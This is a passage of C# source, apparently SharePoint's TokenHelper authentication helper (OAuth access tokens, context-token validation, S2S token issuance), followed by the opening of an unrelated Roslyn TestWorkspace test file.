Uri(token.SecurityTokenServiceUri)).Authority; int firstDot = stsAuthority.IndexOf('.'); GlobalEndPointPrefix = stsAuthority.Substring(0, firstDot); AcsHostUrl = stsAuthority.Substring(firstDot + 1); tokenHandler.ValidateToken(jsonToken); string[] acceptableAudiences; if (!String.IsNullOrEmpty(HostedAppHostNameOverride)) { acceptableAudiences = HostedAppHostNameOverride.Split(';'); } else if (appHostName == null) { acceptableAudiences = new[] { HostedAppHostName }; } else { acceptableAudiences = new[] { appHostName }; } bool validationSuccessful = false; string realm = Realm ?? token.Realm; foreach (var audience in acceptableAudiences) { string principal = GetFormattedPrincipal(ClientId, audience, realm); if (StringComparer.OrdinalIgnoreCase.Equals(token.Audience, principal)) { validationSuccessful = true; break; } } if (!validationSuccessful) { throw new AudienceUriValidationFailedException( String.Format(CultureInfo.CurrentCulture, "\"{0}\" is not the intended audience \"{1}\"", String.Join(";", acceptableAudiences), token.Audience)); } return token; } /// <summary> /// Retrieves an access token from ACS to call the source of the specified context token at the specified /// targetHost. The targetHost must be registered for the principal that sent the context token. /// </summary> /// <param name="contextToken">Context token issued by the intended access token audience</param> /// <param name="targetHost">Url authority of the target principal</param> /// <returns>An access token with an audience matching the context token's source</returns> public static OAuth2AccessTokenResponse GetAccessToken(SharePointContextToken contextToken, string targetHost) { string targetPrincipalName = contextToken.TargetPrincipalName; // Extract the refreshToken from the context token string refreshToken = contextToken.RefreshToken; if (String.IsNullOrEmpty(refreshToken)) { return null; } string targetRealm = Realm ?? contextToken.Realm; return GetAccessToken(refreshToken, targetPrincipalName, targetHost, targetRealm); } /// <summary> /// Uses the specified authorization code to retrieve an access token from ACS to call the specified principal /// at the specified targetHost. The targetHost must be registered for target principal. If specified realm is /// null, the "Realm" setting in web.config will be used instead. /// </summary> /// <param name="authorizationCode">Authorization code to exchange for access token</param> /// <param name="targetPrincipalName">Name of the target principal to retrieve an access token for</param> /// <param name="targetHost">Url authority of the target principal</param> /// <param name="targetRealm">Realm to use for the access token's nameid and audience</param> /// <param name="redirectUri">Redirect URI registerd for this app</param> /// <returns>An access token with an audience of the target principal</returns> public static OAuth2AccessTokenResponse GetAccessToken( string authorizationCode, string targetPrincipalName, string targetHost, string targetRealm, Uri redirectUri) { if (targetRealm == null) { targetRealm = Realm; } string resource = GetFormattedPrincipal(targetPrincipalName, targetHost, targetRealm); string clientId = GetFormattedPrincipal(ClientId, null, targetRealm); // Create request for token. The RedirectUri is null here. This will fail if redirect uri is registered OAuth2AccessTokenRequest oauth2Request = OAuth2MessageFactory.CreateAccessTokenRequestWithAuthorizationCode( clientId, ClientSecret, authorizationCode, redirectUri, resource); // Get token OAuth2S2SClient client = new OAuth2S2SClient(); OAuth2AccessTokenResponse oauth2Response; try { oauth2Response = client.Issue(AcsMetadataParser.GetStsUrl(targetRealm), oauth2Request) as OAuth2AccessTokenResponse; } catch (WebException wex) { using (StreamReader sr = new StreamReader(wex.Response.GetResponseStream())) { string responseText = sr.ReadToEnd(); throw new WebException(wex.Message + " - " + responseText, wex); } } return oauth2Response; } /// <summary> /// Uses the specified refresh token to retrieve an access token from ACS to call the specified principal /// at the specified targetHost. The targetHost must be registered for target principal. If specified realm is /// null, the "Realm" setting in web.config will be used instead. /// </summary> /// <param name="refreshToken">Refresh token to exchange for access token</param> /// <param name="targetPrincipalName">Name of the target principal to retrieve an access token for</param> /// <param name="targetHost">Url authority of the target principal</param> /// <param name="targetRealm">Realm to use for the access token's nameid and audience</param> /// <returns>An access token with an audience of the target principal</returns> public static OAuth2AccessTokenResponse GetAccessToken( string refreshToken, string targetPrincipalName, string targetHost, string targetRealm) { if (targetRealm == null) { targetRealm = Realm; } string resource = GetFormattedPrincipal(targetPrincipalName, targetHost, targetRealm); string clientId = GetFormattedPrincipal(ClientId, null, targetRealm); OAuth2AccessTokenRequest oauth2Request = OAuth2MessageFactory.CreateAccessTokenRequestWithRefreshToken(clientId, ClientSecret, refreshToken, resource); // Get token OAuth2S2SClient client = new OAuth2S2SClient(); OAuth2AccessTokenResponse oauth2Response; try { oauth2Response = client.Issue(AcsMetadataParser.GetStsUrl(targetRealm), oauth2Request) as OAuth2AccessTokenResponse; } catch (WebException wex) { using (StreamReader sr = new StreamReader(wex.Response.GetResponseStream())) { string responseText = sr.ReadToEnd(); throw new WebException(wex.Message + " - " + responseText, wex); } } return oauth2Response; } /// <summary> /// Retrieves an app-only access token from ACS to call the specified principal /// at the specified targetHost. The targetHost must be registered for target principal. If specified realm is /// null, the "Realm" setting in web.config will be used instead. /// </summary> /// <param name="targetPrincipalName">Name of the target principal to retrieve an access token for</param> /// <param name="targetHost">Url authority of the target principal</param> /// <param name="targetRealm">Realm to use for the access token's nameid and audience</param> /// <returns>An access token with an audience of the target principal</returns> public static OAuth2AccessTokenResponse GetAppOnlyAccessToken( string targetPrincipalName, string targetHost, string targetRealm) { if (targetRealm == null) { targetRealm = Realm; } string resource = GetFormattedPrincipal(targetPrincipalName, targetHost, targetRealm); string clientId = GetFormattedPrincipal(ClientId, HostedAppHostName, targetRealm); OAuth2AccessTokenRequest oauth2Request = OAuth2MessageFactory.CreateAccessTokenRequestWithClientCredentials(clientId, ClientSecret, resource); oauth2Request.Resource = resource; // Get token OAuth2S2SClient client = new OAuth2S2SClient(); OAuth2AccessTokenResponse oauth2Response; try { oauth2Response = client.Issue(AcsMetadataParser.GetStsUrl(targetRealm), oauth2Request) as OAuth2AccessTokenResponse; } catch (WebException wex) { using (StreamReader sr = new StreamReader(wex.Response.GetResponseStream())) { string responseText = sr.ReadToEnd(); throw new WebException(wex.Message + " - " + responseText, wex); } } return oauth2Response; } /// <summary> /// Creates a client context based on the properties of a remote event receiver /// </summary> /// <param name="properties">Properties of a remote event receiver</param> /// <returns>A ClientContext ready to call the web where the event originated</returns> public static ClientContext CreateRemoteEventReceiverClientContext(SPRemoteEventProperties properties) { Uri sharepointUrl; if (properties.ListEventProperties != null) { sharepointUrl = new Uri(properties.ListEventProperties.WebUrl); } else if (properties.ItemEventProperties != null) { sharepointUrl = new Uri(properties.ItemEventProperties.WebUrl); } else if (properties.WebEventProperties != null) { sharepointUrl = new Uri(properties.WebEventProperties.FullUrl); } else { return null; } if (IsHighTrustApp()) { return GetS2SClientContextWithWindowsIdentity(sharepointUrl, null); } return CreateAcsClientContextForUrl(properties, sharepointUrl); } /// <summary> /// Creates a client context based on the properties of an app event /// </summary> /// <param name="properties">Properties of an app event</param> /// <param name="useAppWeb">True to target the app web, false to target the host web</param> /// <returns>A ClientContext ready to call the app web or the parent web</returns> public static ClientContext CreateAppEventClientContext(SPRemoteEventProperties properties, bool useAppWeb) { if (properties.AppEventProperties == null) { return null; } Uri sharepointUrl = useAppWeb ? properties.AppEventProperties.AppWebFullUrl : properties.AppEventProperties.HostWebFullUrl; if (IsHighTrustApp()) { return GetS2SClientContextWithWindowsIdentity(sharepointUrl, null); } return CreateAcsClientContextForUrl(properties, sharepointUrl); } /// <summary> /// Retrieves an access token from ACS using the specified authorization code, and uses that access token to /// create a client context /// </summary> /// <param name="targetUrl">Url of the target SharePoint site</param> /// <param name="authorizationCode">Authorization code to use when retrieving the access token from ACS</param> /// <param name="redirectUri">Redirect URI registerd for this app</param> /// <returns>A ClientContext ready to call targetUrl with a valid access token</returns> public static ClientContext GetClientContextWithAuthorizationCode( string targetUrl, string authorizationCode, Uri redirectUri) { return GetClientContextWithAuthorizationCode(targetUrl, SharePointPrincipal, authorizationCode, GetRealmFromTargetUrl(new Uri(targetUrl)), redirectUri); } /// <summary> /// Retrieves an access token from ACS using the specified authorization code, and uses that access token to /// create a client context /// </summary> /// <param name="targetUrl">Url of the target SharePoint site</param> /// <param name="targetPrincipalName">Name of the target SharePoint principal</param> /// <param name="authorizationCode">Authorization code to use when retrieving the access token from ACS</param> /// <param name="targetRealm">Realm to use for the access token's nameid and audience</param> /// <param name="redirectUri">Redirect URI registerd for this app</param> /// <returns>A ClientContext ready to call targetUrl with a valid access token</returns> public static ClientContext GetClientContextWithAuthorizationCode( string targetUrl, string targetPrincipalName, string authorizationCode, string targetRealm, Uri redirectUri) { Uri targetUri = new Uri(targetUrl); string accessToken = GetAccessToken(authorizationCode, targetPrincipalName, targetUri.Authority, targetRealm, redirectUri).AccessToken; return GetClientContextWithAccessToken(targetUrl, accessToken); } /// <summary> /// Uses the specified access token to create a client context /// </summary> /// <param name="targetUrl">Url of the target SharePoint site</param> /// <param name="accessToken">Access token to be used when calling the specified targetUrl</param> /// <returns>A ClientContext ready to call targetUrl with the specified access token</returns> public static ClientContext GetClientContextWithAccessToken(string targetUrl, string accessToken) { ClientContext clientContext = new ClientContext(targetUrl); clientContext.AuthenticationMode = ClientAuthenticationMode.Anonymous; clientContext.FormDigestHandlingEnabled = false; clientContext.ExecutingWebRequest += delegate(object oSender, WebRequestEventArgs webRequestEventArgs) { webRequestEventArgs.WebRequestExecutor.RequestHeaders["Authorization"] = "Bearer " + accessToken; }; return clientContext; } /// <summary> /// Retrieves an access token from ACS using the specified context token, and uses that access token to create /// a client context /// </summary> /// <param name="targetUrl">Url of the target SharePoint site</param> /// <param name="contextTokenString">Context token received from the target SharePoint site</param> /// <param name="appHostUrl">Url authority of the hosted app. If this is null, the value in the HostedAppHostName /// of web.config will be used instead</param> /// <returns>A ClientContext ready to call targetUrl with a valid access token</returns> public static ClientContext GetClientContextWithContextToken( string targetUrl, string contextTokenString, string appHostUrl) { SharePointContextToken contextToken = ReadAndValidateContextToken(contextTokenString, appHostUrl); Uri targetUri = new Uri(targetUrl); string accessToken = GetAccessToken(contextToken, targetUri.Authority).AccessToken; return GetClientContextWithAccessToken(targetUrl, accessToken); } /// <summary> /// Returns the SharePoint url to which the app should redirect the browser to request consent and get back /// an authorization code. /// </summary> /// <param name="contextUrl">Absolute Url of the SharePoint site</param> /// <param name="scope">Space-delimited permissions to request from the SharePoint site in "shorthand" format /// (e.g. "Web.Read Site.Write")</param> /// <returns>Url of the SharePoint site's OAuth authorization page</returns> public static string GetAuthorizationUrl(string contextUrl, string scope) { return string.Format( "{0}{1}?IsDlg=1&client_id={2}&scope={3}&response_type=code", EnsureTrailingSlash(contextUrl), AuthorizationPage, ClientId, scope); } /// <summary> /// Returns the SharePoint url to which the app should redirect the browser to request consent and get back /// an authorization code. /// </summary> /// <param name="contextUrl">Absolute Url of the SharePoint site</param> /// <param name="scope">Space-delimited permissions to request from the SharePoint site in "shorthand" format /// (e.g. "Web.Read Site.Write")</param> /// <param name="redirectUri">Uri to which SharePoint should redirect the browser to after consent is /// granted</param> /// <returns>Url of the SharePoint site's OAuth authorization page</returns> public static string GetAuthorizationUrl(string contextUrl, string scope, string redirectUri) { return string.Format( "{0}{1}?IsDlg=1&client_id={2}&scope={3}&response_type=code&redirect_uri={4}", EnsureTrailingSlash(contextUrl), AuthorizationPage, ClientId, scope, redirectUri); } /// <summary> /// Returns the SharePoint url to which the app should redirect the browser to request a new context token. /// </summary> /// <param name="contextUrl">Absolute Url of the SharePoint site</param> /// <param name="redirectUri">Uri to which SharePoint should redirect the browser to with a context token</param> /// <returns>Url of the SharePoint site's context token redirect page</returns> public static string GetAppContextTokenRequestUrl(string contextUrl, string redirectUri) { return string.Format( "{0}{1}?client_id={2}&redirect_uri={3}", EnsureTrailingSlash(contextUrl), RedirectPage, ClientId, redirectUri); } /// <summary> /// Retrieves an S2S access token signed by the application's private certificate on behalf of the specified /// WindowsIdentity and intended for the SharePoint at the targetApplicationUri. If no Realm is specified in /// web.config, an auth challenge will be issued to the targetApplicationUri to discover it. /// </summary> /// <param name="targetApplicationUri">Url of the target SharePoint site</param> /// <param name="identity">Windows identity of the user on whose behalf to create the access token</param> /// <returns>An access token with an audience of the target principal</returns> public static string GetS2SAccessTokenWithWindowsIdentity( Uri targetApplicationUri, WindowsIdentity identity) { string realm = string.IsNullOrEmpty(Realm) ? GetRealmFromTargetUrl(targetApplicationUri) : Realm; JsonWebTokenClaim[] claims = identity != null ? GetClaimsWithWindowsIdentity(identity) : null; return GetS2SAccessTokenWithClaims(targetApplicationUri.Authority, realm, claims); } /// <summary> /// Retrieves an S2S client context with an access token signed by the application's private certificate on /// behalf of the specified WindowsIdentity and intended for application at the targetApplicationUri using the /// targetRealm. If no Realm is specified in web.config, an auth challenge will be issued to the /// targetApplicationUri to discover it. /// </summary> /// <param name="targetApplicationUri">Url of the target SharePoint site</param> /// <param name="identity">Windows identity of the user on whose behalf to create the access token</param> /// <returns>A ClientContext using an access token with an audience of the target application</returns> public static ClientContext GetS2SClientContextWithWindowsIdentity( Uri targetApplicationUri, WindowsIdentity identity) { string realm = string.IsNullOrEmpty(Realm) ? GetRealmFromTargetUrl(targetApplicationUri) : Realm; JsonWebTokenClaim[] claims = identity != null ? GetClaimsWithWindowsIdentity(identity) : null; string accessToken = GetS2SAccessTokenWithClaims(targetApplicationUri.Authority, realm, claims); return GetClientContextWithAccessToken(targetApplicationUri.ToString(), accessToken); } /// <summary> /// Get authentication realm from SharePoint /// </summary> /// <param name="targetApplicationUri">Url of the target SharePoint site</param> /// <returns>String representation of the realm GUID</returns> public static string GetRealmFromTargetUrl(Uri targetApplicationUri) { WebRequest request = WebRequest.Create(targetApplicationUri + "/_vti_bin/client.svc"); request.Headers.Add("Authorization: Bearer "); try { using (request.GetResponse()) { } } catch (WebException e) { if (e.Response == null) { return null; } string bearerResponseHeader = e.Response.Headers["WWW-Authenticate"]; if (string.IsNullOrEmpty(bearerResponseHeader)) { return null; } const string bearer = "Bearer realm=\""; int bearerIndex = bearerResponseHeader.IndexOf(bearer, StringComparison.Ordinal); if (bearerIndex < 0) { return null; } int realmIndex = bearerIndex + bearer.Length; if (bearerResponseHeader.Length >= realmIndex + 36) { string targetRealm = bearerResponseHeader.Substring(realmIndex, 36); Guid realmGuid; if (Guid.TryParse(targetRealm, out realmGuid)) { return targetRealm; } } } return null; } /// <summary> /// Determines if this is a high trust app. /// </summary> /// <returns>True if this is a high trust app.</returns> public static bool IsHighTrustApp() { return SigningCredentials != null; } /// <summary> /// Ensures that the specified URL ends with '/' if it is not null or empty. /// </summary> /// <param name="url">The url.</param> /// <returns>The url ending with '/' if it is not null or empty.</returns> public static string EnsureTrailingSlash(string url) { if (!string.IsNullOrEmpty(url) && url[url.Length - 1] != '/') { return url + "/"; } return url; } #endregion #region private fields // // Configuration Constants // private const string AuthorizationPage = "_layouts/15/OAuthAuthorize.aspx"; private const string RedirectPage = "_layouts/15/AppRedirect.aspx"; private const string AcsPrincipalName = "00000001-0000-0000-c000-000000000000"; private const string AcsMetadataEndPointRelativeUrl = "metadata/json/1"; private const string S2SProtocol = "OAuth2"; private const string DelegationIssuance = "DelegationIssuance1.0"; private const string NameIdentifierClaimType = JsonWebTokenConstants.ReservedClaims.NameIdentifier; private const string TrustedForImpersonationClaimType = "trustedfordelegation"; private const string ActorTokenClaimType = JsonWebTokenConstants.ReservedClaims.ActorToken; // // Environment Constants // private static string GlobalEndPointPrefix = "accounts"; private static string AcsHostUrl = "accesscontrol.windows.net"; // // Hosted app configuration // private static readonly string ClientId = string.IsNullOrEmpty(WebConfigurationManager.AppSettings.Get("ClientId")) ? WebConfigurationManager.AppSettings.Get("HostedAppName") : WebConfigurationManager.AppSettings.Get("ClientId"); private static readonly string IssuerId = string.IsNullOrEmpty(WebConfigurationManager.AppSettings.Get("IssuerId")) ? ClientId : WebConfigurationManager.AppSettings.Get("IssuerId"); private static readonly string HostedAppHostNameOverride = WebConfigurationManager.AppSettings.Get("HostedAppHostNameOverride"); private static readonly string HostedAppHostName = WebConfigurationManager.AppSettings.Get("HostedAppHostName"); private static readonly string ClientSecret = string.IsNullOrEmpty(WebConfigurationManager.AppSettings.Get("ClientSecret")) ? WebConfigurationManager.AppSettings.Get("HostedAppSigningKey") : WebConfigurationManager.AppSettings.Get("ClientSecret"); private static readonly string SecondaryClientSecret = WebConfigurationManager.AppSettings.Get("SecondaryClientSecret"); private static readonly string Realm = WebConfigurationManager.AppSettings.Get("Realm"); private static readonly string ServiceNamespace = WebConfigurationManager.AppSettings.Get("Realm"); private static readonly string ClientSigningCertificatePath = WebConfigurationManager.AppSettings.Get("ClientSigningCertificatePath"); private static readonly string ClientSigningCertificatePassword = WebConfigurationManager.AppSettings.Get("ClientSigningCertificatePassword"); private static readonly X509Certificate2 ClientCertificate = (string.IsNullOrEmpty(ClientSigningCertificatePath) || string.IsNullOrEmpty(ClientSigningCertificatePassword)) ? null : new X509Certificate2(ClientSigningCertificatePath, ClientSigningCertificatePassword); private static readonly X509SigningCredentials SigningCredentials = (ClientCertificate == null) ? null : new X509SigningCredentials(ClientCertificate, SecurityAlgorithms.RsaSha256Signature, SecurityAlgorithms.Sha256Digest); #endregion #region private methods private static ClientContext CreateAcsClientContextForUrl(SPRemoteEventProperties properties, Uri sharepointUrl) { string contextTokenString = properties.ContextToken; if (String.IsNullOrEmpty(contextTokenString)) { return null; } SharePointContextToken contextToken = ReadAndValidateContextToken(contextTokenString, OperationContext.Current.IncomingMessageHeaders.To.Host); string accessToken = GetAccessToken(contextToken, sharepointUrl.Authority).AccessToken; return GetClientContextWithAccessToken(sharepointUrl.ToString(), accessToken); } private static string GetAcsMetadataEndpointUrl() { return Path.Combine(GetAcsGlobalEndpointUrl(), AcsMetadataEndPointRelativeUrl); } private static string GetFormattedPrincipal(string principalName, string hostName, string realm) { if (!String.IsNullOrEmpty(hostName)) { return String.Format(CultureInfo.InvariantCulture, "{0}/{1}@{2}", principalName, hostName, realm); } return String.Format(CultureInfo.InvariantCulture, "{0}@{1}", principalName, realm); } private static string GetAcsPrincipalName(string realm) { return GetFormattedPrincipal(AcsPrincipalName, new Uri(GetAcsGlobalEndpointUrl()).Host, realm); } private static string GetAcsGlobalEndpointUrl() { return String.Format(CultureInfo.InvariantCulture, "https://{0}.{1}/", GlobalEndPointPrefix, AcsHostUrl); } private static JsonWebSecurityTokenHandler CreateJsonWebSecurityTokenHandler() { JsonWebSecurityTokenHandler handler = new JsonWebSecurityTokenHandler(); handler.Configuration = new SecurityTokenHandlerConfiguration(); handler.Configuration.AudienceRestriction = new AudienceRestriction(AudienceUriMode.Never); handler.Configuration.CertificateValidator = X509CertificateValidator.None; List<byte[]> securityKeys = new List<byte[]>(); securityKeys.Add(Convert.FromBase64String(ClientSecret)); if (!string.IsNullOrEmpty(SecondaryClientSecret)) { securityKeys.Add(Convert.FromBase64String(SecondaryClientSecret)); } List<SecurityToken> securityTokens = new List<SecurityToken>(); securityTokens.Add(new MultipleSymmetricKeySecurityToken(securityKeys)); handler.Configuration.IssuerTokenResolver = SecurityTokenResolver.CreateDefaultSecurityTokenResolver( new ReadOnlyCollection<SecurityToken>(securityTokens), false); SymmetricKeyIssuerNameRegistry issuerNameRegistry = new SymmetricKeyIssuerNameRegistry(); foreach (byte[] securitykey in securityKeys) { issuerNameRegistry.AddTrustedIssuer(securitykey, GetAcsPrincipalName(ServiceNamespace)); } handler.Configuration.IssuerNameRegistry = issuerNameRegistry; return handler; } private static string GetS2SAccessTokenWithClaims( string targetApplicationHostName, string targetRealm, IEnumerable<JsonWebTokenClaim> claims) { return IssueToken( ClientId, IssuerId, targetRealm, SharePointPrincipal, targetRealm, targetApplicationHostName, true, claims, claims == null); } private static JsonWebTokenClaim[] GetClaimsWithWindowsIdentity(WindowsIdentity identity) { JsonWebTokenClaim[] claims = new JsonWebTokenClaim[] { new JsonWebTokenClaim(NameIdentifierClaimType, identity.User.Value.ToLower()), new JsonWebTokenClaim("nii", "urn:office:idp:activedirectory") }; return claims; } private static string IssueToken( string sourceApplication, string issuerApplication, string sourceRealm, string targetApplication, string targetRealm, string targetApplicationHostName, bool trustedForDelegation, IEnumerable<JsonWebTokenClaim> claims, bool appOnly = false) { if (null == SigningCredentials) { throw new InvalidOperationException("SigningCredentials was not initialized"); } #region Actor token string issuer = string.IsNullOrEmpty(sourceRealm) ? issuerApplication : string.Format("{0}@{1}", issuerApplication, sourceRealm); string nameid = string.IsNullOrEmpty(sourceRealm) ? sourceApplication : string.Format("{0}@{1}", sourceApplication, sourceRealm); string audience = string.Format("{0}/{1}@{2}", targetApplication, targetApplicationHostName, targetRealm); List<JsonWebTokenClaim> actorClaims = new List<JsonWebTokenClaim>(); actorClaims.Add(new JsonWebTokenClaim(JsonWebTokenConstants.ReservedClaims.NameIdentifier, nameid)); if (trustedForDelegation && !appOnly) { actorClaims.Add(new JsonWebTokenClaim(TrustedForImpersonationClaimType, "true")); } // Create token JsonWebSecurityToken actorToken = new JsonWebSecurityToken( issuer: issuer, audience: audience, validFrom: DateTime.UtcNow, validTo: DateTime.UtcNow.Add(HighTrustAccessTokenLifetime), signingCredentials: SigningCredentials, claims: actorClaims); string actorTokenString = new JsonWebSecurityTokenHandler().WriteTokenAsString(actorToken); if (appOnly) { // App-only token is the same as actor token for delegated case return actorTokenString; } #endregion Actor token #region Outer token List<JsonWebTokenClaim> outerClaims = null == claims ? new List<JsonWebTokenClaim>() : new List<JsonWebTokenClaim>(claims); outerClaims.Add(new JsonWebTokenClaim(ActorTokenClaimType, actorTokenString)); JsonWebSecurityToken jsonToken = new JsonWebSecurityToken( nameid, // outer token issuer should match actor token nameid audience, DateTime.UtcNow, DateTime.UtcNow.Add(HighTrustAccessTokenLifetime), outerClaims); string accessToken = new JsonWebSecurityTokenHandler().WriteTokenAsString(jsonToken); #endregion Outer token return accessToken; } #endregion #region AcsMetadataParser // This class is used to get MetaData document from the global STS endpoint. It contains // methods to parse the MetaData document and get endpoints and STS certificate. public static class AcsMetadataParser { public static X509Certificate2 GetAcsSigningCert(string realm) { JsonMetadataDocument document = GetMetadataDocument(realm); if (null != document.keys && document.keys.Count > 0) { JsonKey signingKey = document.keys[0]; if (null != signingKey && null != signingKey.keyValue) { return new X509Certificate2(Encoding.UTF8.GetBytes(signingKey.keyValue.value)); } } throw new Exception("Metadata document does not contain ACS signing certificate."); } public static string GetDelegationServiceUrl(string realm) { JsonMetadataDocument document = GetMetadataDocument(realm); JsonEndpoint delegationEndpoint = document.endpoints.SingleOrDefault(e => e.protocol == DelegationIssuance); if (null != delegationEndpoint) { return delegationEndpoint.location; } throw new Exception("Metadata document does not contain Delegation Service endpoint Url"); } private static JsonMetadataDocument GetMetadataDocument(string realm) { string acsMetadataEndpointUrlWithRealm = String.Format(CultureInfo.InvariantCulture, "{0}?realm={1}", GetAcsMetadataEndpointUrl(), realm); byte[] acsMetadata; using (WebClient webClient = new WebClient()) { acsMetadata = webClient.DownloadData(acsMetadataEndpointUrlWithRealm); } string jsonResponseString = Encoding.UTF8.GetString(acsMetadata); JavaScriptSerializer serializer = new JavaScriptSerializer(); JsonMetadataDocument document = serializer.Deserialize<JsonMetadataDocument>(jsonResponseString); if (null == document) { throw new Exception("No metadata document found at the global endpoint " + acsMetadataEndpointUrlWithRealm); } return document; } public static string GetStsUrl(string realm) { JsonMetadataDocument document = GetMetadataDocument(realm); JsonEndpoint s2sEndpoint = document.endpoints.SingleOrDefault(e => e.protocol == S2SProtocol); if (null != s2sEndpoint) { return s2sEndpoint.location; } throw new Exception("Metadata document does not contain STS endpoint url"); } private class JsonMetadataDocument { public string serviceName { get; set; } public List<JsonEndpoint> endpoints { get; set; } public List<JsonKey> keys { get; set; } } private class JsonEndpoint { public string location { get; set; } public string protocol { get; set; } public string usage { get; set; } } private class JsonKeyValue { public string type { get; set; } public string value { get; set; } } private class JsonKey { public string usage { get; set; } public JsonKeyValue keyValue { get; set; } } } #endregion } /// <summary> /// A JsonWebSecurityToken generated by SharePoint to authenticate to a 3rd party application and allow callbacks using a refresh token /// </summary> public class SharePointContextToken : JsonWebSecurityToken { public static SharePointContextToken Create(JsonWebSecurityToken contextToken) { return new SharePointContextToken(contextToken.Issuer, contextToken.Audience, contextToken.ValidFrom, contextToken.ValidTo, contextToken.Claims); } public SharePointContextToken(string issuer, string audience, DateTime validFrom, DateTime validTo, IEnumerable<JsonWebTokenClaim> claims) : base(issuer, audience, validFrom, validTo, claims) { } public SharePointContextToken(string issuer, string audience, DateTime validFrom, DateTime validTo, IEnumerable<JsonWebTokenClaim> claims, SecurityToken issuerToken, JsonWebSecurityToken actorToken) : base(issuer, audience, validFrom, validTo, claims, issuerToken, actorToken) { } public SharePointContextToken(string issuer, string audience, DateTime validFrom, DateTime validTo, IEnumerable<JsonWebTokenClaim> claims, SigningCredentials signingCredentials) : base(issuer, audience, validFrom, validTo, claims, signingCredentials) { } public string NameId { get { return GetClaimValue(this, "nameid"); } } /// <summary> /// The principal name portion of the context token's "appctxsender" claim /// </summary> public string TargetPrincipalName { get { string appctxsender = GetClaimValue(this, "appctxsender"); if (appctxsender == null) { return null; } return appctxsender.Split('@')[0]; } } /// <summary> /// The context token's "refreshtoken" claim /// </summary> public string RefreshToken { get { return GetClaimValue(this, "refreshtoken"); } } /// <summary> /// The context token's "CacheKey" claim /// </summary> public string CacheKey { get { string appctx = GetClaimValue(this, "appctx"); if (appctx == null) { return null; } ClientContext ctx = new ClientContext("http://tempuri.org"); Dictionary<string, object> dict = (Dictionary<string, object>)ctx.ParseObjectFromJsonString(appctx); string cacheKey = (string)dict["CacheKey"]; return cacheKey; } } /// <summary> /// The context token's "SecurityTokenServiceUri" claim /// </summary> public string SecurityTokenServiceUri { get { string appctx = GetClaimValue(this, "appctx"); if (appctx == null) { return null; } ClientContext ctx = new ClientContext("http://tempuri.org"); Dictionary<string, object> dict = (Dictionary<string, object>)ctx.ParseObjectFromJsonString(appctx); string securityTokenServiceUri = (string)dict["SecurityTokenServiceUri"]; return securityTokenServiceUri; } } /// <summary> /// The realm portion of the context token's "audience" claim /// </summary> public string Realm { get { string aud = Audience; if (aud == null) { return null; } string tokenRealm = aud.Substring(aud.IndexOf('@') + 1); return tokenRealm; } } private static string GetClaimValue(JsonWebSecurityToken token, string claimType) { if (token == null) { throw new ArgumentNullException("token"); } foreach (JsonWebTokenClaim claim in token.Claims) { if (StringComparer.Ordinal.Equals(claim.ClaimType, claimType)) { return claim.Value; } } return null; } } /// <summary> /// Represents a security token which contains multiple security keys that are generated using symmetric algorithms. /// </summary> public class MultipleSymmetricKeySecurityToken : SecurityToken { /// <summary> /// Initializes a new instance of the MultipleSymmetricKeySecurityToken class. /// </summary> /// <param name="keys">An enumeration of Byte arrays that contain the symmetric keys.</param> public MultipleSymmetricKeySecurityToken(IEnumerable<byte[]> keys) : this(UniqueId.CreateUniqueId(), keys) { } /// <summary> /// Initializes a new instance of the MultipleSymmetricKeySecurityToken class. /// </summary> /// <param name="tokenId">The unique identifier of the security token.</param> /// <param name="keys">An enumeration of Byte arrays that contain the symmetric keys.</param> public MultipleSymmetricKeySecurityToken(string tokenId, IEnumerable<byte[]> keys) { if (keys == null) { throw new ArgumentNullException("keys"); } if (String.IsNullOrEmpty(tokenId)) { throw new ArgumentException("Value cannot be a null or empty string.", "tokenId"); } foreach (byte[] key in keys) { if (key.Length <= 0) { throw new ArgumentException("The key length must be greater then zero.", "keys"); } } id = tokenId; effectiveTime = DateTime.UtcNow; securityKeys = CreateSymmetricSecurityKeys(keys); } /// <summary> /// Gets the unique identifier of the security token. /// </summary> public override string Id { get { return id; } } /// <summary> /// Gets the cryptographic keys associated with the security token. /// </summary> public override ReadOnlyCollection<SecurityKey> SecurityKeys { get { return securityKeys.AsReadOnly(); } } /// <summary> /// Gets the first instant in time at which this security token is valid. /// </summary> public override DateTime ValidFrom { get { return effectiveTime; } } /// <summary> /// Gets the last instant in time at which this security token is valid. /// </summary> public override DateTime ValidTo { get { // Never expire return DateTime.MaxValue; } } /// <summary> /// Returns a value that indicates whether the key identifier for this instance can be resolved to the specified key identifier. /// </summary> /// <param name="keyIdentifierClause">A SecurityKeyIdentifierClause to compare to this instance</param> /// <returns>true if keyIdentifierClause is a SecurityKeyIdentifierClause and it has the same unique identifier as the Id property; otherwise, false.</returns> public override bool MatchesKeyIdentifierClause(SecurityKeyIdentifierClause keyIdentifierClause) { if (keyIdentifierClause == null) { throw new ArgumentNullException("keyIdentifierClause"); } // Since this is a symmetric token and we do not have IDs to distinguish tokens, we just check for the // presence of a SymmetricIssuerKeyIdentifier. The actual mapping to the issuer takes place later // when the key is matched to the issuer. if (keyIdentifierClause is SymmetricIssuerKeyIdentifierClause) { return true; } return base.MatchesKeyIdentifierClause(keyIdentifierClause); } #region private members private List<SecurityKey> CreateSymmetricSecurityKeys(IEnumerable<byte[]> keys) { List<SecurityKey> symmetricKeys = new List<SecurityKey>(); foreach (byte[] key in keys) { symmetricKeys.Add(new InMemorySymmetricSecurityKey(key)); } return symmetricKeys; } private string id; private DateTime effectiveTime; private List<SecurityKey> securityKeys; #endregion } }
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using System.Threading; using System.Threading.Tasks; using System.Windows.Threading; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.Editor.Shared.Extensions; using Microsoft.CodeAnalysis.Editor.Shared.Utilities; using Microsoft.CodeAnalysis.Host; using Microsoft.CodeAnalysis.Host.Mef; using Microsoft.CodeAnalysis.Test.Utilities; using Microsoft.CodeAnalysis.Text; using Microsoft.CodeAnalysis.Text.Shared.Extensions; using Microsoft.VisualStudio.Composition; using Microsoft.VisualStudio.Text; using Microsoft.VisualStudio.Text.Projection; using Roslyn.Test.Utilities; namespace Microsoft.CodeAnalysis.Editor.UnitTests.Workspaces { public partial class TestWorkspace : Workspace { public const string WorkspaceName = TestWorkspaceName.Name; public ExportProvider ExportProvider { get; } public bool CanApplyChangeDocument { get; set; } internal override bool CanChangeActiveContextDocument { get { return true; } } public IList<TestHostProject> Projects { get; } public IList<TestHostDocument> Documents { get; } public IList<TestHostDocument> AdditionalDocuments 